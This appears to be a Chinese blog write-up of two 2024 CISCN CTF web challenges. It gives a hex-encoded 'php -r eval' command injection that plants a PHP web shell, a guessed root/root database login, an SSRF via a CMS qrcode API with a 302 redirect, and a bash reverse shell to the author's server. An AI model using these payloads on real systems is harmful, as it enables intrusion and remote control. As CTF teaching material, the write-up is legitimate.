2024-CISCN-线上初赛
复现平台ctfshow
在博主打比赛的时候只解出了simple_php,easycms只能说还得练啊≥^≤
simple_php
发现禁用了很多命令,但是我们可以通过
1 | php -r |
来利用服务器执行php代码间接执行系统命令
在这我采用16进制来采取编码
1 |
|
利用
1 | cmd=php -r eval(hex2bin(substr(_此处填 bin2hex编码之后的值,1))); //注意这个下划线是为了配合substr使用 |
我们直接把
1 | $originalString = "file_put_contents('shell.php',base64_decode('PD9waHAgZXZhbCgkX1BPU1RbMV0pOyA/Pg=='));";// <?php eval($_POST[1]);?> |
替换到上面的代码中然后执行得到
1 | 66696c655f7075745f636f6e74656e747328277368656c6c2e706870272c6261736536345f6465636f6465282750443977614841675a585a686243676b58314250553152624d5630704f79412f50673d3d2729293b |
然后post传参
1 | cmd=php -r eval(hex2bin(substr(_66696c655f7075745f636f6e74656e747328277368656c6c2e706870272c6261736536345f6465636f6465282750443977614841675a585a686243676b58314250553152624d5630704f79412f50673d3d2729293b,1))); |
直接蚁剑连接即可
发现目录里面没有flag文件,env也没查到环境变量有flag,猜测是在数据库里
检测到存在mysqli;猜测密码为root,root;登陆成功;查询flag
easycms
1 | 提示 |
比赛的时候是可以直接扫出来flag.php还有一些无关紧要的文件,访问之后回显
1 | Just input 'cmd' From 127.0.0.1 |
发现需要本地ip,可以rce,要利用到ssrf啦
去官网查查历史漏洞发现
但是应该是被修复了啊,管他呢,先去源码查查这个关键词qrcode发现在Api.php存在
下面if判断触发访问链接为thumb提供的url
结合文章
https://xz.aliyun.com/t/10002?time__1311=mq%2BxBD97qYqCqAKDsD7me5xrOD87KWqWK4D&alichlgref=https%3A%2F%2Fwww.google.com%2F
可以构造url
1 | ?s=api&c=api&m=qrcode&text=1&thumb=http://127.0.0.1/flag.php |
但是测试发现是没办法直接通过127.0.0.1直接访问的,我们可以利用302跳转解决这个
1 | ?s=api&c=api&m=qrcode&text=1&thumb=http://服务器ip |
服务器index.php内容是:
1 | GIF89a |
保存一个jump.html
1 | bash -i >& /dev/tcp/服务器ip/666 0>&1 |
题目本身环境没问题,但是ctfshow复现环境用这个是打不通的
本地起了个服务测试是可以实现的,当时比赛也打出来了
第二个感觉是被修复了其实还是原来那个解法
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 すきみつはの小屋!
评论